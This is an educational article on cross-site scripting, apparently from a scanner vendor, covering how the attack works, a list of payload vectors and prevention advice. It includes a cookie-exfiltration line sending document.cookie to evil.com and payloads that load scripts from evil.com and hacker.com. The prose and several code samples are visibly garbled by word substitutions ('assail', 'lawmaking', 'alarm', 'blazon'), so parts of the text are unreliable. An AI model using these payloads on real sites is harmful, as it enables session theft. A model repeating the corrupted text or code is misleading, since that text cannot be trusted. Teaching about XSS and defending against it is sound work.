Cross-site Scripting (XSS) is a customer-side code injection assail. The attacker aims to execute malicious scripts in a web browser of the victim by including malicious code in a legitimate web page or spider web application. The actual assail occurs when the victim visits the web folio or web application that executes the malicious lawmaking. The web folio or web application becomes a vehicle to deliver the malicious script to the user's browser. Vulnerable vehicles that are normally used for Cantankerous-site Scripting attacks are forums, bulletin boards, and web pages that allow comments.

A web page or web application is vulnerable to XSS if information technology uses unsanitized user input in the output that information technology generates. This user input must then exist parsed past the victim's browser. XSS attacks are possible in VBScript, ActiveX, Flash, and even CSS. However, they are virtually mutual in JavaScript, primarily because JavaScript is fundamental to most browsing experiences.

XSS

"Isn't Cross-site Scripting the User's Problem?"

If an attacker tin can abuse an XSS vulnerability on a spider web page to execute arbitrary JavaScript in a user'south browser, the security of that vulnerable website or vulnerable web application and its users has been compromised. XSS is non the user's problem like any other security vulnerability. If information technology is affecting your users, information technology affects you.

Cross-site Scripting may besides be used to deface a website instead of targeting the user. The attacker tin use injected scripts to change the content of the website or even redirect the browser to another web folio, for instance, one that contains malicious code.

What Tin the Attacker Do with JavaScript?

XSS vulnerabilities are perceived as less dangerous than for example SQL Injection vulnerabilities. Consequences of the ability to execute JavaScript on a web page may not seem dire at kickoff. About web browsers run JavaScript in a very tightly controlled environment. JavaScript has limited admission to the user'southward operating system and the user's files. Yet, JavaScript tin can yet be dangerous if misused every bit part of malicious content:

  • Malicious JavaScript has access to all the objects that the residual of the spider web page has access to. This includes admission to the user'due south cookies. Cookies are oftentimes used to store session tokens. If an attacker can obtain a user's session cookie, they can impersonate that user, perform actions on behalf of the user, and gain admission to the user's sensitive data.
  • JavaScript can read the browser DOM and brand arbitrary modifications to it. Luckily, this is merely possible inside the page where JavaScript is running.
  • JavaScript can use the XMLHttpRequest object to send HTTP requests with arbitrary content to arbitrary destinations.
  • JavaScript in modernistic browsers tin use HTML5 APIs. For instance, it can gain access to the user's geolocation, webcam, microphone, and even specific files from the user's file arrangement. Most of these APIs require user opt-in, but the assaulter can employ social engineering to go around that limitation.

The above, in combination with social engineering, permit criminals to pull off avant-garde attacks including cookie theft, planting trojans, keylogging, phishing, and identity theft. XSS vulnerabilities provide the perfect ground to escalate attacks to more serious ones. Cross-site Scripting tin also be used in conjunction with other types of attacks, for example, Cross-Site Request Forgery (CSRF).

At that place are several types of Cross-site Scripting attacks: stored/persistent XSS, reflected/non-persistent XSS, and DOM-based XSS. You can read more than nigh them in an article titled Types of XSS.

How Cantankerous-site Scripting Works

There are 2 stages to a typical XSS assail:

  1. To run malicious JavaScript code in a victim's browser, an assailant must first detect a way to inject malicious code (payload) into a web page that the victim visits.
  2. After that, the victim must visit the web page with the malicious code. If the attack is directed at particular victims, the attacker can use social engineering and/or phishing to send a malicious URL to the victim.

For pace one to be possible, the vulnerable website needs to direct include user input in its pages. An attacker can then insert a malicious string that will be used within the spider web page and treated as source code by the victim'southward browser. There are besides variants of XSS attacks where the aggressor lures the user to visit a URL using social engineering and the payload is office of the link that the user clicks.

The following is a snippet of server-side pseudocode that is used to display the most recent comment on a spider web page:

                print "<html>" impress "<h1>Almost contempo comment</h1>" print database.latestComment print "</html>"

The higher up script but takes the latest comment from a database and includes it in an HTML page. It assumes that the comment printed out consists of only text and contains no HTML tags or other lawmaking. Information technology is vulnerable to XSS, because an attacker could submit a comment that contains a malicious payload, for example:

                <script>doSomethingEvil();</script>

The spider web server provides the following HTML lawmaking to users that visit this web folio:

                <html> <h1>Most recent comment</h1>                  <script>doSomethingEvil();</script>                  </html>

When the page loads in the victim's browser, the attacker's malicious script executes. Most frequently, the victim does non realize it and is unable to forbid such an assail.

Stealing Cookies Using XSS

Criminals often use XSS to steal cookies. This allows them to impersonate the victim. The attacker tin send the cookie to their own server in many ways. Ane of them is to execute the following client-side script in the victim's browser:

                <script> window.location="http://evil.com/?cookie=" + document.cookie </script>

The figure below illustrates a step-by-step walkthrough of a simple XSS assault.

Cross site scripting

    1. The attacker injects a payload into the website's database past submitting a vulnerable form with malicious JavaScript content.
    2. The victim requests the web page from the web server.
    3. The spider web server serves the victim's browser the page with attacker'southward payload as part of the HTML trunk.
    4. The victim's browser executes the malicious script contained in the HTML body. In this case, it sends the victim's cookie to the attacker's server.
    5. The attacker now simply needs to extract the victim'southward cookie when the HTTP request arrives at the server.
    6. The attacker can now employ the victim's stolen cookie for impersonation.

    To learn more than about how XSS attacks are conducted, you can refer to an article titled A comprehensive tutorial on cross-site scripting.

    Cross-site Scripting Attack Vectors

    The post-obit is a list of mutual XSS set on vectors that an attacker could use to compromise the security of a website or web awarding through an XSS assail. A more all-encompassing list of XSS payload examples is maintained by the OWASP arrangement: XSS Filter Evasion Crook Sheet.

    <script> tag

    The <script> tag is the well-nigh straightforward XSS payload. A script tag can reference external JavaScript code or you can embed the code inside the script tag itself.

                    <!-- External script --> <script src=http://evil.com/xss.js></script> <!-- Embedded script --> <script> alert("XSS"); </script>

    JavaScript events

    JavaScript event attributes such as onload and onerror tin can be used in many different tags. This is a very pop XSS attack vector.

                    <!-- onload attribute in the <body> tag --> <body onload=warning("XSS")>

    <body> tag

    An XSS payload can be delivered inside the <body> by using event attributes (see above) or other more obscure attributes such as the background aspect.

                    <!-- background attribute --> <body background="javascript:warning("XSS")">

    <img> tag

    Some browsers execute JavaScript found in the <img> attributes.

                    <!-- <img> tag XSS --> <img src="javascript:alarm("XSS");"> <!--  tag XSS using lesser-known attributes --> <img dynsrc="javascript:alert('XSS')"> <img lowsrc="javascript:alert('XSS')">

    <iframe> tag

    The <iframe> tag lets you embed another HTML folio in the current page. An IFrame may contain JavaScript but JavaScript in the IFrame does not have access to the DOM of the parent page due to the Content Security Policy (CSP) of the browser. However, IFrames are still very effective for pulling off phishing attacks.

                    <!-- <iframe> tag XSS --> <iframe src="http://evil.com/xss.html">

    <input> tag

    In some browsers, if the type attribute of the <input> tag is set to epitome, information technology can be manipulated to embed a script.

                    <!-- <input> tag XSS --> <input blazon="paradigm" src="javascript:alert('XSS');">

    <link> tag

    The <link> tag, which is often used to link to external fashion sheets, may incorporate a script.

                    <!-- <link> tag XSS --> <link rel="stylesheet" href="javascript:alert('XSS');">

    <table> tag

    The groundwork attribute of the <tabular array> and <td> tags can exist exploited to refer to a script instead of an epitome.

                    <!-- <table> tag XSS --> <table background="javascript:alert('XSS')"> <!-- <td> tag XSS --> <td background="javascript:alert('XSS')">

    <div> tag

    The <div> tag, like to the <table> and <td> tags, can also specify a background and therefore embed a script.

                    <!-- <div> tag XSS --> <div fashion="groundwork-image: url(javascript:alert('XSS'))"> <!-- <div> tag XSS --> <div style="width: expression(alarm('XSS'));">

    <object> tag

    The <object> tag can be used to include a script from an external site.

                    <!-- <object> tag XSS --> <object type="text/x-scriptlet" information="http://hacker.com/xss.html">

    Is Your Website or Spider web Awarding Vulnerable to Cantankerous-site Scripting

    Cross-site Scripting vulnerabilities are i of the near common web application vulnerabilities. The OWASP organization (Open Spider web Application Security Project) lists XSS vulnerabilities in their OWASP Top 10 2022 document equally the second most prevalent issue.

    Fortunately, it's easy to exam if your website or web awarding is vulnerable to XSS and other vulnerabilities by running an automated web browse using the Acunetix vulnerability scanner, which includes a specialized XSS scanner module. Have a demo and notice out more about running XSS scans against your website or spider web application. An example of how you lot can detect blind XSS vulnerabilities with Acunetix is available in the post-obit article: How to Find Blind XSS Vulnerabilities.

    How to Forestall XSS

    To keep yourself condom from XSS, you must sanitize your input. Your awarding lawmaking should never output information received every bit input directly to the browser without checking information technology for malicious code.

    For more details, refer to the following articles: Preventing XSS Attacks and How to Preclude DOM-based Cantankerous-site Scripting. You can also find useful information in the XSS Prevention Cheat Sail maintained past the OWASP organization.

    Frequently asked questions

    How to protect against Cross-site Scripting?

    To protect against Cross-site Scripting, yous must browse your website or web application regularly or at least after every chance in the code. Then, your developers must correct the code to eliminate the vulnerability. Contrary to pop opinions, web awarding firewalls do not protect against Cross-site Scripting, they just make the attack more difficult – the vulnerability is still there.

    Run across what Acunetix Premium can practise for yous.